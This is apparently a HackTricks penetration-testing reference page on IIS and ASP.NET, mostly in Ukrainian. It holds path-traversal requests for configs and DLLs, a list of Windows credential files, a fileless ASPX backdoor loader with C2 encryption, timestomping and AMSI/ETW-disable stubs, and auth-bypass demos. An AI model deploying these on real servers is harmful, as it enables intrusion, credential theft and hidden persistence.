IIS - Internet Information Services
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Тестові розширення виконуваних файлів:
- asp
- aspx
- config
- php
Розкриття внутрішньої IP-адреси
На будь-якому IIS-сервері, де ви отримуєте 302, можна спробувати прибрати Host header і використовувати HTTP/1.0 — у відповіді заголовок Location може вказувати на внутрішню IP-адресу:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Відповідь, що розкриває внутрішню IP-адресу:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Виконати .config файли
Ви можете завантажувати .config файли і використовувати їх для виконання коду. Один зі способів — додати код у кінець файлу всередині HTML-коментаря: Download example here
Більше інформації та технік для експлуатації цієї вразливості here
IIS Discovery Bruteforce
Download the list that I have created:
It was created merging the contents of the following lists:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Використовуйте його без додавання розширення — файли, яким воно потрібне, вже мають його.
Path Traversal
Leaking source code
Перегляньте повний опис за адресою: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
Як підсумок, у папках додатка знаходяться кілька web.config файлів зі посиланнями на “assemblyIdentity” файли та “namespaces”. За цією інформацією можна визначити де розташовані виконувані файли та завантажити їх.
З завантажених Dlls також можна знайти нові namespaces, до яких варто спробувати отримати доступ і дістати web.config файл, щоб знайти нові namespaces та assemblyIdentity.
Також файли connectionstrings.config і global.asax можуть містити цікаву інформацію.
У .Net MVC додатках, файл web.config відіграє ключову роль, вказуючи кожний бінарний файл, від якого залежить додаток, через “assemblyIdentity” XML-теги.
Дослідження бінарних файлів
Приклад доступу до файлу web.config показано нижче:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Цей запит виявляє різні налаштування та залежності, наприклад:
- версія EntityFramework
- AppSettings для webpages, client validation і JavaScript
- конфігурації System.web для автентифікації та runtime
- налаштування модулів System.webServer
- Runtime assembly bindings для численних бібліотек, таких як Microsoft.Owin, Newtonsoft.Json та System.Web.Mvc
Ці налаштування вказують, що деякі файли, такі як /bin/WebGrease.dll, розташовані в папці /bin застосунку.
Root Directory Files
Файли, знайдені в кореневому каталозі, такі як /global.asax і /connectionstrings.config (який містить чутливі паролі), є необхідними для конфігурації та функціонування додатка.
Namespaces and Web.Config
MVC-застосунки також визначають додаткові web.config files для конкретних просторів імен, щоб уникнути повторних декларацій у кожному файлі, як показано запитом на завантаження іншого web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Завантаження DLLs
Згадка власного простору імен вказує на наявність DLL з іменем “WebApplication1” у директорії /bin. Нижче показано запит на завантаження WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Це свідчить про наявність інших необхідних DLL, таких як System.Web.Mvc.dll та System.Web.Optimization.dll, у директорії /bin.
У випадку, коли DLL імпортує простір імен WebApplication1.Areas.Minded, атакувальник може припустити наявність інших web.config файлів у передбачуваних шляхах, таких як /area-name/Views/, які містять певні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до /Minded/Views/web.config може виявити конфігурації та простори імен, що вказують на наявність іншої DLL — WebApplication1.AdditionalFeatures.dll.
Common files
From here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
Якщо ви бачите помилку, схожу на наведену нижче:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
Це означає, що сервер не отримав правильне доменне ім’я в Host header.
Щоб отримати доступ до веб-сторінки, перегляньте виданий SSL Certificate — можливо, ви знайдете там ім’я домену/субдомену. Якщо його там немає, можливо, доведеться brute force VHosts, поки не знайдете правильний.
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Два поширені підходи для захисту секретів у IIS-hosted .NET apps:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) для секцій web.config, як-от
. - ASP.NET Core Data Protection key ring (persisted locally), який використовується для захисту секретів додатка та cookies.
Якщо у вас є доступ до файлової системи або інтерактивний доступ до веб-сервера, розташовані поряд ключі часто дозволяють розшифрувати.
- ASP.NET (Full Framework) – розшифрувати захищені секції конфігурації за допомогою aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – шукайте Data Protection key rings, що зберігаються локально (XML/JSON файли) у таких місцях:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Якщо key ring доступний, оператор, що працює під ідентичністю додатку, може інстанціювати IDataProtector з тими ж purposes і викликати unprotect для збережених secrets. Неправильні конфігурації, що зберігають key ring разом із файлами додатку, роблять офлайн дешифрування тривіально можливим після компрометації хоста.
IIS fileless backdoors and in-memory .NET loaders (у стилі NET-STAR)
Набір інструментів Phantom Taurus/NET-STAR демонструє зрілий підхід для fileless IIS persistence і post‑exploitation повністю всередині w3wp.exe. Основні ідеї широко застосовні для кастомного tradecraft та для detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
- Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
- Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Допоміжні інструменти для пакування/криптографії (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session flow і command surface
- Session bootstrap і tasking передаються через cookies, щоб зливатися з нормальною веб-активністю.
- Команди, помічені в реальному середовищі, включали: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; а також примітиви динамічного виконання code_self, code_pid, run_code для виконання .NET в пам’яті.
Утиліта Timestomping
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Вбудоване відключення AMSI/ETW перед Assembly.Load (варіант loader)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Одна поодинока, дивна сторінка ASPX з дуже великими Base64/Gzip блобами; cookie‑heavy posts.
- Unbacked managed modules всередині w3wp.exe; стрічки типу Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Повторювані роздільники типу “STAR” у трафіку; невідповідні або навіть майбутні timestamps в ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Багато ASP.NET додатків вбудовують Telerik UI for ASP.NET AJAX і відкривають неаутентифікований обробник Telerik.Web.UI.WebResource.axd. Коли досяжна точка доступу Image Editor cache (type=iec), параметри dkey=1 та prtype дозволяють unsafe reflection, що виконує будь-який public parameterless constructor pre‑auth. Це дає універсальний DoS-примітив і може ескалувати до pre‑auth RCE в додатках з небезпечними AppDomain.AssemblyResolve handlers.
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Ви можете спробувати перелічити папки та файли всередині кожної знайденої директорії (навіть якщо вона вимагає Basic Authentication) використовуючи цю technique.
Головне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що вона може знайти лише перші 6 літер імені кожного файлу/папки та перші 3 літери extension файлів.
Ви можете використати https://github.com/irsdl/IIS-ShortName-Scanner для перевірки цієї вразливості:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Ви також можете використати metasploit: use scanner/http/iis_shortname_scanner
Гарна ідея, щоб знайти фінальне ім’я виявлених файлів — запитати LLMs для варіантів, як це зроблено в скрипті https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) пробуючи доступ до: /admin:$i30:$INDEX_ALLOCATION/admin.php або /admin::$INDEX_ALLOCATION/admin.php
Ви можете спробувати поєднати цю vulnerability та попередню, щоб знайти нові folders і bypass аутентифікацію.
ASP.NET Trace.AXD enabled debugging
ASP.NET включає режим налагодження, файл називається trace.axd.
Він зберігає дуже детальний лог усіх запитів до додатку за певний період часу.
Ця інформація включає IP клієнтів, session IDs, всі request і response cookies, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів та паролі.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH uses the following info:
validationKey(string): hex-encoded key to use for signature validation.decryptionMethod(string): (default “AES”).decryptionIV(string): hex-encoded initialization vector (defaults to a vector of zeros).decryptionKey(string): hex-encoded key to use for decryption.
Однак деякі використовують default values цих параметрів і як cookie використовують email користувача. Тому, якщо ви знайдете сайт на тій самій платформі, який використовує ASPXAUTH cookie, і ви створите користувача з email того користувача, якого хочете зімітувати на другому сервері, ви можете змогти використати cookie з другого сервера на першому і зімітувати цього користувача.
Ця атака спрацювала в цьому writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: У коді була помилка, яка неправильно перевіряла пароль, тому атакуючий, чий password hash потрапляє в ключ, що вже є в cache, зможе login як цей користувач .
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Джерела
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

